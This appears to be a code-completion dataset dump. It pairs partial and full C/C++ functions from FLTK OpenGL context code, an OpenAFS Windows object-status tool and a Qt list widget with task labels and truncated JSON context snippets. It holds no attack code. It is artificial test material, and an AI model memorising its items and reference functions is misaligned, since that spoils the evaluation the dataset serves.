static GLContext first_context; #if USE_X11 #define DESTROY_ON_EXIT 0 #if DESTROY_ON_EXIT static struct Contexts { GLContext context; struct Contexts* next; } * context_list; static void destructor() { if (xdisplay && first_context) { first_context = 0; for (Contexts* p = context_list; p; p = p->next) { glXDestroyContext(xdisplay, p->context); } context_list = 0; XFlush(xdisplay); } } #endif GLContext fltk::create_gl_context(XVisualInfo* vis) { GLContext context = glXCreateContext(xdisplay, vis, first_context, 1); #if DESTROY_ON_EXIT Contexts* p = new Contexts; p->context = context; p->next = context_list; context_list = p; #endif if (!first_context) { first_context = context; #if DESTROY_ON_EXIT atexit(::destructor); #endif } return context; } #elif defined(_WIN32) GLContext fltk::create_gl_context(const Window* window, const GlChoice* g, int layer) { CreatedWindow* i = CreatedWindow::find(window); SetPixelFormat(i->dc, g->pixelFormat, &g->pfd); GLContext context = layer ? wglCreateLayerContext(i->dc, layer) : wglCreateContext(i->dc); if (context) { if (first_context) wglShareLists(first_context, context); else first_context = context; } return context; } #elif defined(__APPLE__) GLContext fltk::create_gl_context(const Window* window, const GlChoice* g, int layer) { GLContext context; context = aglCreateContext(g->pixelformat, first_context); if (!context) return 0; if (!first_context) first_context = context; return context; } #endif GLContext fl_current_glcontext; static const Window* cached_window; void fltk::set_gl_context(const Window* window, GLContext context) { if (context != fl_current_glcontext || window != cached_window) { fl_current_glcontext = context; cached_window = window; #if USE_X11 if (first_context) glXMakeCurrent(xdisplay, xid(window), context); #elif defined(_WIN32) wglMakeCurrent(CreatedWindow::find(window)->dc, context); #elif defined(__APPLE__) if ( window->parent() ) { fltk::Rectangle r(*window); Widget* p = window->parent(); for (;; p = p->parent()) { if (r.y() < 0) r.set_y(0); if (r.r() > p->w()) r.set_r(p->w()); if (!p->parent()) break; r.move(p->x(), p->y()); } GLint rect[] = { r.x(), p->h()-r.b(), r.w(), r.h() }; aglSetInteger( context, AGL_BUFFER_RECT, rect ); aglEnable( context, AGL_BUFFER_RECT ); } aglSetDrawable(context, GetWindowPort( xid(window) ) ); aglSetCurrentContext(context); #endif # if USE_GLEW static bool beenhere = false; if (!beenhere) { beenhere = true; glewExperimental = GL_TRUE; glewInit(); } # endif } } void fltk::no_gl_context() { #if USE_X11 glXMakeCurrent(xdisplay, 0, 0); #elif defined(_WIN32) wglMakeCurrent(0, 0); #elif defined(__APPLE__) if (fl_current_glcontext) aglSetCurrentContext(0); #endif fl_current_glcontext = 0; cached_window = 0; } void fltk::delete_gl_context(GLContext context) { if (fl_current_glcontext == context) no_gl_context(); if (context != first_context) { #if USE_X11 if (first_context) { glXDestroyContext(xdisplay, context); #if DESTROY_ON_EXIT Contexts** p = &context_list; Contexts* q = *p; while (q && q->context != context) { p = &(q->next); q = *p; } if (q) {*p = q->next; delete q;} #endif } #elif defined(_WIN32) wglDeleteContext(context); #elif defined(__APPLE__) aglSetDrawable( context, NULL ); aglDestroyContext( context ); #endif } } #endif
if ((mode & ACCUM_BUFFER) && !pfd.cAccumBits) continue; if ((!(mode & DOUBLE_BUFFER)) != (!(pfd.dwFlags & PFD_DOUBLEBUFFER))) continue; if ((!(mode & STEREO)) != (!(pfd.dwFlags & PFD_STEREO))) continue; if ((mode & DEPTH_BUFFER) && !pfd.cDepthBits) continue; if ((mode & STENCIL_BUFFER) && !pfd.cStencilBits) continue; if (pixelFormat) { if (!(chosen_pfd.bReserved & 15) && (pfd.bReserved & 15)) {} else if (chosen_pfd.cColorBits < pfd.cColorBits) {} else continue; } pixelFormat = i; chosen_pfd = pfd; } if (!pixelFormat) return 0; #elif defined(__APPLE__) const int *blist; int list[32]; int n = 0; if (mode & INDEXED_COLOR) { list[n++] = AGL_BUFFER_SIZE; list[n++] = 8; } else { list[n++] = AGL_RGBA; list[n++] = AGL_GREEN_SIZE; list[n++] = (mode & RGB24_COLOR) ? 8 : 1; if (mode & ALPHA_BUFFER) { list[n++] = AGL_ALPHA_SIZE; list[n++] = (mode & RGB24_COLOR) ? 8 : 1; } if (mode & ACCUM_BUFFER) { list[n++] = AGL_ACCUM_GREEN_SIZE; list[n++] = 1; if (mode & ALPHA_BUFFER) { list[n++] = AGL_ACCUM_ALPHA_SIZE; list[n++] = 1; } } } if (mode & DOUBLE_BUFFER) { list[n++] = AGL_DOUBLEBUFFER; } if (mode & DEPTH_BUFFER) { list[n++] = AGL_DEPTH_SIZE; list[n++] = 24; } if (mode & STENCIL_BUFFER) { list[n++] = AGL_STENCIL_SIZE; list[n++] = 1; } # ifdef AGL_STEREO if (mode & STEREO) { list[n++] = AGL_STEREO; } # endif list[n] = AGL_NONE; blist = list; open_display(); AGLPixelFormat fmt = aglChoosePixelFormat(NULL, 0, (GLint*)blist); if (!fmt) return 0; #else int list[32]; int n = 0; if (mode & INDEXED_COLOR) { list[n++] = GLX_BUFFER_SIZE; list[n++] = 8; } else { list[n++] = GLX_RGBA; list[n++] = GLX_GREEN_SIZE; const int bits = (mode & RGB24_COLOR) ? 8 : 1; list[n++] = bits; if (mode & ALPHA_BUFFER) { list[n++] = GLX_ALPHA_SIZE; list[n++] = bits; } if (mode & ACCUM_BUFFER) { list[n++] = GLX_ACCUM_GREEN_SIZE; list[n++] = bits; if (mode & ALPHA_BUFFER) { list[n++] = GLX_ACCUM_ALPHA_SIZE; list[n++] = bits; } } } if (mode & DOUBLE_BUFFER) { list[n++] = GLX_DOUBLEBUFFER; } if (mode & DEPTH_BUFFER) { list[n++] = GLX_DEPTH_SIZE; list[n++] = 1; } if (mode & STENCIL_BUFFER) { list[n++] = GLX_STENCIL_SIZE; list[n++] = 1; } if (mode & STEREO) { list[n++] = GLX_STEREO; } #if defined(GLX_VERSION_1_1) && defined(GLX_SGIS_multisample) if (mode & MULTISAMPLE) { list[n++] = GLX_SAMPLES_SGIS; list[n++] = 4; } #endif list[n] = 0; open_display(); XVisualInfo* vis = glXChooseVisual(xdisplay, xscreen, list); if (!vis) { # if defined(GLX_VERSION_1_1) && defined(GLX_SGIS_multisample) if (mode&MULTISAMPLE) return find(mode&~MULTISAMPLE); # endif return 0; } #endif g = new GlChoice; g->mode = mode; g->next = first; first = g; #ifdef _WIN32 g->pixelFormat = pixelFormat; g->pfd = chosen_pfd; #elif defined(__APPLE__) g->pixelformat = fmt; #else g->vis = vis; if ( vis->visualid == xvisual->visualid && !getenv("MESA_PRIVATE_CMAP")) g->colormap = xcolormap; else g->colormap = XCreateColormap(xdisplay, RootWindow(xdisplay,xscreen), vis->visual, AllocNone); #endif return g; }
function_block-function_prefix_line
[ { "content": "METHODDEF(boolean)\n\ndecode_mcu_DC_first (j_decompress_ptr cinfo, JBLOCKROW *MCU_data)\n\n{ \n\n phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;\n\n int Al = cinfo->Al;\n\n register int s, r;\n\n int blkn, ci;\n\n JBLOCKROW block;\n\n BITREAD_STATE_VARS;\n\n savable_state...
C++
src/WINNT/afsrdr/tools/objstatus/ObjectStatus.cpp
jakllsch/openafs
e739eaa650ee30dcce54d05908b062839eafbf73
#include <windows.h> #include <winioctl.h> #include <stdio.h> #include <shlwapi.h> #include "AFSUserDefines.h" #include "AFSUserIoctl.h" #include "AFSUserStructs.h" bool ParseFID( char *FidName, AFSFileID *FID); char * GetAFSFileType( IN DWORD FileType); void Usage() { printf("Usage: AFSObjectStatus </f FID (Cell.Volume.VNode.Unique)> | </n Full file name> /i <Invalidate entry by FID>\n"); return; } int main(int argc, char* argv[]) { ULONG rc = 0; DWORD bytesReturned = 0; HANDLE hControlDevice = NULL; char *pBuffer = NULL; DWORD dwError = 0, dwIndex = 0, dwBufferSize = 0; AFSGetStatusInfoCB *pGetStatusInfo = NULL; AFSStatusInfoCB *pStatusInfo = NULL; AFSFileID stFID; BOOLEAN bUseFID = false; WCHAR wchFileName[ 256]; AFSInvalidateCacheCB *pInvalidate = NULL; bool bInvalidate = false; DWORD dwIOControl = 0; if( argc < 2) { Usage(); return 0; } dwIndex = 1; dwError = 1; while( dwIndex < (DWORD)argc) { if( _stricmp(argv[ dwIndex], "/f") == 0) { if( !ParseFID( argv[ ++dwIndex], &stFID)) { printf("AFSObjectStatus Failed to parse fid %s\n", argv[ dwIndex]); dwError = -1; break; } bUseFID = true; } else if( _stricmp(argv[ dwIndex], "/n") == 0) { dwIndex++; if( MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED, argv[ dwIndex], -1, wchFileName, (int)strlen( argv[ dwIndex]) + 1) == 0) { printf("AFSObjectStatus Failed to map string %d\n", GetLastError()); dwError = -1; break; } } else if( _stricmp(argv[ dwIndex], "/i") == 0) { bInvalidate = true; } else { Usage(); dwError = -1; break; } dwIndex++; } if( dwError == -1) { return 0; } if( bInvalidate && !bUseFID) { printf("AFSObjectStatus Must specify FID when performing invalidation\n"); return 0; } hControlDevice = CreateFile( AFS_SYMLINK, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if( hControlDevice == INVALID_HANDLE_VALUE) { printf( "AFSObjectStatus: Failed to open control device error: %d\n", GetLastError()); return 0; } dwBufferSize = 1024; pBuffer = (char *)malloc( dwBufferSize); if( pBuffer != NULL) { if( bInvalidate) { pInvalidate = (AFSInvalidateCacheCB *)pBuffer; pInvalidate->FileID = stFID; pInvalidate->FileType = 0; pInvalidate->Reason = AFS_INVALIDATE_FLUSHED; pInvalidate->WholeVolume = false; dwError = DeviceIoControl( hControlDevice, IOCTL_AFS_INVALIDATE_CACHE, pBuffer, sizeof( AFSInvalidateCacheCB), NULL, 0, &bytesReturned, NULL); if( !dwError) { printf( "AFSObjectStatus Failed to invalidate object error %d\n", GetLastError()); } else { printf("AFSObjectStatus Successfully invalidated object\n"); } } else { pGetStatusInfo = (AFSGetStatusInfoCB *)pBuffer; memset( pGetStatusInfo, '\0', sizeof( AFSGetStatusInfoCB)); if( bUseFID) { pGetStatusInfo->FileID = stFID; } else { pGetStatusInfo->FileNameLength = (USHORT)(wcslen( wchFileName) * sizeof( WCHAR)); dwIndex = 0; if( wchFileName[ 0] == L'\\' && wchFileName[ 1] == L'\\') { dwIndex = 1; pGetStatusInfo->FileNameLength -= sizeof( WCHAR); } memcpy( pGetStatusInfo->FileName, &wchFileName[ dwIndex], pGetStatusInfo->FileNameLength); } dwError = DeviceIoControl( hControlDevice, IOCTL_AFS_GET_OBJECT_INFORMATION, pBuffer, sizeof( AFSGetStatusInfoCB) + pGetStatusInfo->FileNameLength, pBuffer, dwBufferSize, &bytesReturned, NULL); if( !dwError) { printf( "AFSObjectStatus Failed to retrieve buffer %d\n", GetLastError()); } else { pStatusInfo = (AFSStatusInfoCB *)pBuffer; if( bUseFID) { printf("AFS ObjectStatus Results: FID (%08lX.%08lX.%08lX.%08lX)\n", stFID.Cell, stFID.Volume, stFID.Vnode, stFID.Unique); } else { printf("AFS ObjectStatus Results: Name (%S)\n", wchFileName); } printf("\n"); printf("\t\t FID: %08lX.%08lX.%08lX.%08lX\n", pStatusInfo->FileId.Cell, pStatusInfo->FileId.Volume, pStatusInfo->FileId.Vnode, pStatusInfo->FileId.Unique); printf("\t\t TargetFID: %08lX.%08lX.%08lX.%08lX\n", pStatusInfo->TargetFileId.Cell, pStatusInfo->TargetFileId.Volume, pStatusInfo->TargetFileId.Vnode, pStatusInfo->TargetFileId.Unique); printf("\t\t Expiration: %08lX-%08lX\n", pStatusInfo->Expiration.HighPart, pStatusInfo->Expiration.LowPart); printf("\t\t Data Version: %08lX-%08lX\n", pStatusInfo->DataVersion.HighPart, pStatusInfo->DataVersion.LowPart); printf("\t\t FileType: %s - %08lX\n", GetAFSFileType( pStatusInfo->FileType), pStatusInfo->FileType); printf("\t\t Object Flags: %08lX\n", pStatusInfo->ObjectFlags); printf("\t\t Create Time: %08lX-%08lX\n", pStatusInfo->CreationTime.HighPart, pStatusInfo->CreationTime.LowPart); printf("\t\t Last Access Time: %08lX-%08lX\n", pStatusInfo->LastAccessTime.HighPart, pStatusInfo->LastAccessTime.LowPart); printf("\t\t Last Write Time: %08lX-%08lX\n", pStatusInfo->LastWriteTime.HighPart, pStatusInfo->LastWriteTime.LowPart); printf("\t\t Change Time: %08lX-%08lX\n", pStatusInfo->ChangeTime.HighPart, pStatusInfo->ChangeTime.LowPart); printf("\t\t File Attributes: %08lX\n", pStatusInfo->FileAttributes); printf("\t\t EOF: %08lX-%08lX\n", pStatusInfo->EndOfFile.HighPart, pStatusInfo->EndOfFile.LowPart); printf("\t\t Alloc Size: %08lX-%08lX\n", pStatusInfo->AllocationSize.HighPart, pStatusInfo->AllocationSize.LowPart); printf("\t\t EA Size: %08lX\n", pStatusInfo->EaSize); printf("\t\t Links: %08lX\n", pStatusInfo->Links); } } free( pBuffer); } CloseHandle( hControlDevice); return 0; } bool ParseFID( char *FidName, AFSFileID *FID) { char *pchCell = NULL, *pchVolume = NULL, *pchVnode = NULL, *pchUnique = NULL; char *pchCurrentPos = FidName; char *pLocation = NULL; char chBuffer[ 50]; pchCell = pchCurrentPos; pLocation = strchr( pchCell, '.'); if( pLocation == NULL) { return false; } pLocation++; if( *pLocation == NULL) { return false; } pLocation--; *pLocation = NULL; pLocation++; pchVolume = pLocation; pLocation = strchr( pchVolume, '.'); if( pLocation == NULL) { return false; } pLocation++; if( *pLocation == NULL) { return false; } pLocation--; *pLocation = NULL; pLocation++; pchVnode = pLocation; pLocation = strchr( pchVnode, '.'); if( pLocation == NULL) { return false; } pLocation++; if( *pLocation == NULL) { return false; } pLocation--; *pLocation = NULL; pLocation++; pchUnique = pLocation; strcpy_s( chBuffer, 50, "0x"); strcat_s( &chBuffer[ 2], 48, pchCell); if( !StrToIntEx( chBuffer, STIF_SUPPORT_HEX, (int *)&FID->Cell)) { printf("AFSObjectStatus Failed to parse cell %s\n", chBuffer); return false; } strcpy_s( chBuffer, 50, "0x"); strcat_s( &chBuffer[ 2], 48, pchVolume); if( !StrToIntEx( chBuffer, STIF_SUPPORT_HEX, (int *)&FID->Volume)) { printf("AFSObjectStatus Failed to parse volume %s\n", chBuffer); return false; } strcpy_s( chBuffer, 50, "0x"); strcat_s( &chBuffer[ 2], 48, pchVnode); if( !StrToIntEx( chBuffer, STIF_SUPPORT_HEX, (int *)&FID->Vnode)) { printf("AFSObjectStatus Failed to parse vnode %s\n", chBuffer); return false; } strcpy_s( chBuffer, 50, "0x"); strcat_s( &chBuffer[ 2], 48, pchUnique); if( !StrToIntEx( chBuffer, STIF_SUPPORT_HEX, (int *)&FID->Unique)) { printf("AFSObjectStatus Failed to parse Unique %s\n", chBuffer); return false; } return true; } char * GetAFSFileType( IN DWORD FileType) { char *pchType = NULL; switch( FileType) { case AFS_FILE_TYPE_FILE: { pchType = "File"; break; } case AFS_FILE_TYPE_DIRECTORY: { pchType = "Directory"; break; } case AFS_FILE_TYPE_SYMLINK: { pchType = "Symbolic link"; break; } case AFS_FILE_TYPE_MOUNTPOINT: { pchType = "Mount point"; break; } case AFS_FILE_TYPE_DFSLINK: { pchType = "DFS link"; break; } default: { pchType = "Unknown"; break; } } return pchType; }
#include <windows.h> #include <winioctl.h> #include <stdio.h> #include <shlwapi.h> #include "AFSUserDefines.h" #include "AFSUserIoctl.h" #include "AFSUserStructs.h" bool ParseFID( char *FidName, AFSFileID *FID); char * GetAFSFileType( IN DWORD FileType); void Usage() { printf("Usage: AFSObjectStatus </f FID (Cell.Volume.VNode.Unique)> | </n Full file name> /i <Invalidate entry by FID>\n"); return; }
bool ParseFID( char *FidName, AFSFileID *FID) { char *pchCell = NULL, *pchVolume = NULL, *pchVnode = NULL, *pchUnique = NULL; char *pchCurrentPos = FidName; char *pLocation = NULL; char chBuffer[ 50]; pchCell = pchCurrentPos; pLocation = strchr( pchCell, '.'); if( pLocation == NULL) { return false; } pLocation++; if( *pLocation == NULL) { return false; } pLocation--; *pLocation = NULL; pLocation++; pchVolume = pLocation; pLocation = strchr( pchVolume, '.'); if( pLocation == NULL) { return false; } pLocation++; if( *pLocation == NULL) { return false; } pLocation--; *pLocation = NULL; pLocation++; pchVnode = pLocation; pLocation = strchr( pchVnode, '.'); if( pLocation == NULL) { return false; } pLocation++; if( *pLocation == NULL) { return false; } pLocation--; *pLocation = NULL; pLocation++; pchUnique = pLocation; strcpy_s( chBuffer, 50, "0x"); strcat_s( &chBuffer[ 2], 48, pchCell); if( !StrToIntEx( chBuffer, STIF_SUPPORT_HEX, (int *)&FID->Cell)) { printf("AFSObjectStatus Failed to parse cell %s\n", chBuffer); return false; } strcpy_s( chBuffer, 50, "0x"); strcat_s( &chBuffer[ 2], 48, pchVolume); if( !StrToIntEx( chBuffer, STIF_SUPPORT_HEX, (int *)&FID->Volume)) { printf("AFSObjectStatus Failed to parse volume %s\n", chBuffer); return false; } strcpy_s( chBuffer, 50, "0x"); strcat_s( &chBuffer[ 2], 48, pchVnode); if( !StrToIntEx( chBuffer, STIF_SUPPORT_HEX, (int *)&FID->Vnode)) { printf("AFSObjectStatus Failed to parse vnode %s\n", chBuffer); return false; } strcpy_s( chBuffer, 50, "0x"); strcat_s( &chBuffer[ 2], 48, pchUnique); if( !StrToIntEx( chBuffer, STIF_SUPPORT_HEX, (int *)&FID->Unique)) { printf("AFSObjectStatus Failed to parse Unique %s\n", chBuffer); return false; } return true; } char * GetAFSFileType( IN DWORD FileType) { char *pchType = NULL; switch( FileType) { case AFS_FILE_TYPE_FILE: { pchType = "File"; break; } case AFS_FILE_TYPE_DIRECTORY: { pchType = "Directory"; break; } case AFS_FILE_TYPE_SYMLINK: { pchType = "Symbolic link"; break; } case AFS_FILE_TYPE_MOUNTPOINT: { pchType = "Mount point"; break; } case AFS_FILE_TYPE_DFSLINK: { pchType = "DFS link"; break; } default: { pchType = "Unknown"; break; } } return pchType; }
int main(int argc, char* argv[]) { ULONG rc = 0; DWORD bytesReturned = 0; HANDLE hControlDevice = NULL; char *pBuffer = NULL; DWORD dwError = 0, dwIndex = 0, dwBufferSize = 0; AFSGetStatusInfoCB *pGetStatusInfo = NULL; AFSStatusInfoCB *pStatusInfo = NULL; AFSFileID stFID; BOOLEAN bUseFID = false; WCHAR wchFileName[ 256]; AFSInvalidateCacheCB *pInvalidate = NULL; bool bInvalidate = false; DWORD dwIOControl = 0; if( argc < 2) { Usage(); return 0; } dwIndex = 1; dwError = 1; while( dwIndex < (DWORD)argc) { if( _stricmp(argv[ dwIndex], "/f") == 0) { if( !ParseFID( argv[ ++dwIndex], &stFID)) { printf("AFSObjectStatus Failed to parse fid %s\n", argv[ dwIndex]); dwError = -1; break; } bUseFID = true; } else if( _stricmp(argv[ dwIndex], "/n") == 0) { dwIndex++; if( MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED, argv[ dwIndex], -1, wchFileName, (int)strlen( argv[ dwIndex]) + 1) == 0) { printf("AFSObjectStatus Failed to map string %d\n", GetLastError()); dwError = -1; break; } } else if( _stricmp(argv[ dwIndex], "/i") == 0) { bInvalidate = true; } else { Usage(); dwError = -1; break; } dwIndex++; } if( dwError == -1) { return 0; } if( bInvalidate && !bUseFID) { printf("AFSObjectStatus Must specify FID when performing invalidation\n"); return 0; } hControlDevice = CreateFile( AFS_SYMLINK, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if( hControlDevice == INVALID_HANDLE_VALUE) { printf( "AFSObjectStatus: Failed to open control device error: %d\n", GetLastError()); return 0; } dwBufferSize = 1024; pBuffer = (char *)malloc( dwBufferSize); if( pBuffer != NULL) { if( bInvalidate) { pInvalidate = (AFSInvalidateCacheCB *)pBuffer; pInvalidate->FileID = stFID; pInvalidate->FileType = 0; pInvalidate->Reason = AFS_INVALIDATE_FLUSHED; pInvalidate->WholeVolume = false; dwError = DeviceIoControl( hControlDevice, IOCTL_AFS_INVALIDATE_CACHE, pBuffer, sizeof( AFSInvalidateCacheCB), NULL, 0, &bytesReturned, NULL); if( !dwError) { printf( "AFSObjectStatus Failed to invalidate object error %d\n", GetLastError()); } else { printf("AFSObjectStatus Successfully invalidated object\n"); } } else { pGetStatusInfo = (AFSGetStatusInfoCB *)pBuffer; memset( pGetStatusInfo, '\0', sizeof( AFSGetStatusInfoCB)); if( bUseFID) { pGetStatusInfo->FileID = stFID; } else { pGetStatusInfo->FileNameLength = (USHORT)(wcslen( wchFileName) * sizeof( WCHAR)); dwIndex = 0; if( wchFileName[ 0] == L'\\' && wchFileName[ 1] == L'\\') { dwIndex = 1; pGetStatusInfo->FileNameLength -= sizeof( WCHAR); } memcpy( pGetStatusInfo->FileName, &wchFileName[ dwIndex], pGetStatusInfo->FileNameLength); } dwError = DeviceIoControl( hControlDevice, IOCTL_AFS_GET_OBJECT_INFORMATION, pBuffer, sizeof( AFSGetStatusInfoCB) + pGetStatusInfo->FileNameLength, pBuffer, dwBufferSize, &bytesReturned, NULL); if( !dwError) { printf( "AFSObjectStatus Failed to retrieve buffer %d\n", GetLastError()); } else { pStatusInfo = (AFSStatusInfoCB *)pBuffer; if( bUseFID) { printf("AFS ObjectStatus Results: FID (%08lX.%08lX.%08lX.%08lX)\n", stFID.Cell, stFID.Volume, stFID.Vnode, stFID.Unique); } else { printf("AFS ObjectStatus Results: Name (%S)\n", wchFileName); } printf("\n"); printf("\t\t FID: %08lX.%08lX.%08lX.%08lX\n", pStatusInfo->FileId.Cell, pStatusInfo->FileId.Volume, pStatusInfo->FileId.Vnode, pStatusInfo->FileId.Unique); printf("\t\t TargetFID: %08lX.%08lX.%08lX.%08lX\n", pStatusInfo->TargetFileId.Cell, pStatusInfo->TargetFileId.Volume, pStatusInfo->TargetFileId.Vnode, pStatusInfo->TargetFileId.Unique); printf("\t\t Expiration: %08lX-%08lX\n", pStatusInfo->Expiration.HighPart, pStatusInfo->Expiration.LowPart); printf("\t\t Data Version: %08lX-%08lX\n", pStatusInfo->DataVersion.HighPart, pStatusInfo->DataVersion.LowPart); printf("\t\t FileType: %s - %08lX\n", GetAFSFileType( pStatusInfo->FileType), pStatusInfo->FileType); printf("\t\t Object Flags: %08lX\n", pStatusInfo->ObjectFlags); printf("\t\t Create Time: %08lX-%08lX\n", pStatusInfo->CreationTime.HighPart, pStatusInfo->CreationTime.LowPart); printf("\t\t Last Access Time: %08lX-%08lX\n", pStatusInfo->LastAccessTime.HighPart, pStatusInfo->LastAccessTime.LowPart); printf("\t\t Last Write Time: %08lX-%08lX\n", pStatusInfo->LastWriteTime.HighPart, pStatusInfo->LastWriteTime.LowPart); printf("\t\t Change Time: %08lX-%08lX\n", pStatusInfo->ChangeTime.HighPart, pStatusInfo->ChangeTime.LowPart); printf("\t\t File Attributes: %08lX\n", pStatusInfo->FileAttributes); printf("\t\t EOF: %08lX-%08lX\n", pStatusInfo->EndOfFile.HighPart, pStatusInfo->EndOfFile.LowPart); printf("\t\t Alloc Size: %08lX-%08lX\n", pStatusInfo->AllocationSize.HighPart, pStatusInfo->AllocationSize.LowPart); printf("\t\t EA Size: %08lX\n", pStatusInfo->EaSize); printf("\t\t Links: %08lX\n", pStatusInfo->Links); } } free( pBuffer); } CloseHandle( hControlDevice); return 0; }
function_block-full_function
[ { "content": " UNICODE_STRING FullFileName;\n", "file_path": "src/WINNT/afsrdr/kernel/lib/Include/AFSStructs.h", "rank": 0, "score": 243405.6354101187 }, { "content": "afs_int32\n\nSVL_GetEntryByNameN(struct rx_call *rxcall,\n\n\t\t char *volname,\n\n\t\t struct nvldbentry *aentry)\...
C++
listwidget.cpp
dayuanyuan1989/RemoteBinder
6c07896828187bbb890115fa1326f9db4fbd7b68
#include "listwidget.h" #include "ui_listwidget.h" #include <QEvent> #include <QMouseEvent> #include <QWheelEvent> #include <Qdebug> ListWidget::ListWidget(QWidget *parent) : QWidget(parent), ui(new Ui::ListWidget), m_ItemSpace(4), m_selectedIndex(-1), m_cursorEnable(true), m_flip(false), m_runed(false), m_flipStatus(FlipStatus_NULL) { ui->setupUi(this); init(); } ListWidget::~ListWidget() { final(); delete ui; } void ListWidget::init() { m_pWidgetListPane = new QWidget(ui->background); ui->curosr->setParent(m_pWidgetListPane); connect(&m_animManager, SIGNAL(valueHasChanged(QVariant)), this, SLOT(AnimationUpdate(QVariant)) ); connect(&m_animManager, SIGNAL(finished()), this, SLOT(AnimationFinished())); ui->roll->hide(); ui->curosr->hide(); } void ListWidget::final() { delete m_pWidgetListPane; m_pWidgetListPane = NULL; disconnect(&m_animManager, SIGNAL(valueHasChanged(QVariant)), this, SLOT(AnimationUpdate(QVariant)) ); disconnect(&m_animManager, SIGNAL(finished()), this, SLOT(AnimationFinished())); } void ListWidget::mousePressEvent(QMouseEvent* e) { e->accept(); m_flipGrabBeginY = e->globalY(); } void ListWidget::mouseMoveEvent(QMouseEvent *e) { e->accept(); const int pageBeginY = ui->background->y(); const int pageEndY = -m_pWidgetListPane->height() + ui->background->height(); static int lastY = 0; static int pressedPaneY = 0; int pandWidgetY = 0; if(m_flip == false){ lastY = e->y(); pressedPaneY = m_pWidgetListPane->y(); m_flipTime.start(); } else { bool moveOverFlag = RollChecked(); if(moveOverFlag) { m_runed = true; int deltaY = e->y() - lastY; pandWidgetY = (pressedPaneY + deltaY); if(e->y() > lastY) { m_flipStatus = FlipStatus_Down; if(pressedPaneY + deltaY > pageBeginY) { pandWidgetY = pageBeginY + ((pressedPaneY + deltaY) - pageBeginY)/2; } } else { m_flipStatus = FlipStatus_Up; if(pressedPaneY + deltaY < pageEndY) { pandWidgetY = pageEndY + ((pressedPaneY + deltaY) - pageEndY)/2; } } m_pWidgetListPane->move(QPoint(0, pandWidgetY)); AdjustRoll(); } } m_flip = true; } void ListWidget::mouseReleaseEvent(QMouseEvent *e) { m_runed = false; m_flip = false; float elapsedTime = m_flipTime.elapsed(); int distance = e->globalY() - m_flipGrabBeginY; if(elapsedTime < 0.01) elapsedTime = 1; if(!RollChecked()) { if(m_cursorEnable) AdjustCursor(); return; } float speed = (float)distance / elapsedTime; const float uSpeed = qAbs(speed); QEasingCurve::Type type = QEasingCurve::Linear; const int pageBeginY = ui->background->y(); const int pageEndY = -m_pWidgetListPane->height() + ui->background->height(); int startPosY = m_pWidgetListPane->y(); int targetPosY = 0; uint intervalTime = 0; qDebug() << "USpeed : " << uSpeed; if(m_animManager.OnRunning()) m_animManager.ReleaseAnimation(); if(uSpeed < 0.7) { m_runed = false; } else if(uSpeed < 1.2) { m_runed = true; intervalTime = 1600 * uSpeed / 0.8; targetPosY = startPosY + speed * intervalTime / 5; } else{ m_runed = true; intervalTime = 1600 * uSpeed / 0.8; targetPosY = startPosY + speed * intervalTime / 2; } if (targetPosY > pageBeginY) { intervalTime = intervalTime * qAbs((float)(pageBeginY-startPosY) / (targetPosY-startPosY)); targetPosY = pageBeginY; type = QEasingCurve::OutBack; } else if (targetPosY < pageEndY){ intervalTime = intervalTime * qAbs((float)(pageEndY-startPosY) / (targetPosY-startPosY)); targetPosY = pageEndY; type = QEasingCurve::OutBack; } else { type = QEasingCurve::OutCirc; } if( ((startPosY > pageBeginY) || (startPosY < pageEndY)) ) { m_runed = true; type = QEasingCurve::OutCirc; intervalTime = 200; targetPosY = ((startPosY > pageBeginY) ? pageBeginY : pageEndY); } AdjustRoll(); if(!m_animManager.OnRunning() && m_cursorEnable) AdjustCursor(); if(m_runed) { m_animManager.AddAnimation(m_pWidgetListPane, UIAnimationManager::ActionType_Pos, m_pWidgetListPane->pos(), QPoint(m_pWidgetListPane->x(), targetPosY)); m_animManager.SetDuration(intervalTime); m_animManager.SetEasingCurve(type); m_animManager.StartAnimation(); } repaint(); } void ListWidget::wheelEvent(QWheelEvent *e) { const int pageBeginY = ui->background->y(); const int pageEndY = -m_pWidgetListPane->height() + ui->background->height(); int delta = ( (e->angleDelta().y() > 0) ? 60 : -60 ); int posY = m_pWidgetListPane->y() + delta; if(m_animManager.OnRunning()) m_animManager.ReleaseAnimation(); if(!RollChecked()) return; if(posY > pageBeginY) posY = pageBeginY; if(posY < pageEndY) posY = pageEndY; m_pWidgetListPane->move(0, posY); AdjustRoll(); } void ListWidget::resizeEvent(QResizeEvent *e) { QSize newSize = e->size(); resize(newSize); ui->background->resize(newSize); AdjustGeometry(); AdjustCursor(); AdjustRoll(); } bool ListWidget::eventFilter(QObject *obj, QEvent *e) { int widgetSelectedIndex = -1; int i = 0; for(i = 0; i < m_list.count(); i++) { if(m_list[i] == obj) { widgetSelectedIndex = i; break; } } if(widgetSelectedIndex != -1) { if(e->type() == QEvent::MouseButtonRelease) { if(m_selectedIndex != widgetSelectedIndex && !m_runed) { m_selectedIndex = widgetSelectedIndex; emit SelecteChanged(m_selectedIndex); } return ListWidget::event(e); } } return false; } void ListWidget::SetBackGroundColor(const QColor& color) { QString style = QString("background-color: rgb(%1, %2, %3);").arg(color.red()).arg(color.green()).arg(color.blue()); ui->background->setStyleSheet(style); } void ListWidget::AddWidgetItems(const QList<WidgetItem*>& list) { m_pWidgetListPane->move(0, 0); m_list.append(list); SetParent(); RemoveItemsFilter(); InstallItemsFilter(); AdjustGeometry(); AdjustZOrder(); update(); } void ListWidget::AddWidgetItem(WidgetItem* pItem) { m_pWidgetListPane->move(0, 0); m_list.append(pItem); SetParent(); RemoveItemsFilter(); InstallItemsFilter(); AdjustGeometry(); AdjustZOrder(); update(); } void ListWidget::Clear() { RemoveItemsFilter(); int i = 0; for(i = 0; i < m_list.count(); i++) { delete m_list[i]; m_list[i] = NULL; } m_list.clear(); ui->roll->hide(); ui->curosr->hide(); m_selectedIndex = -1; m_flipStatus = FlipStatus_NULL; update(); } void ListWidget::InstallItemsFilter() { foreach (WidgetItem* pItem, m_list) { pItem->installEventFilter(this); } } void ListWidget::RemoveItemsFilter() { foreach (WidgetItem* pItem, m_list) { pItem->removeEventFilter(this); } } void 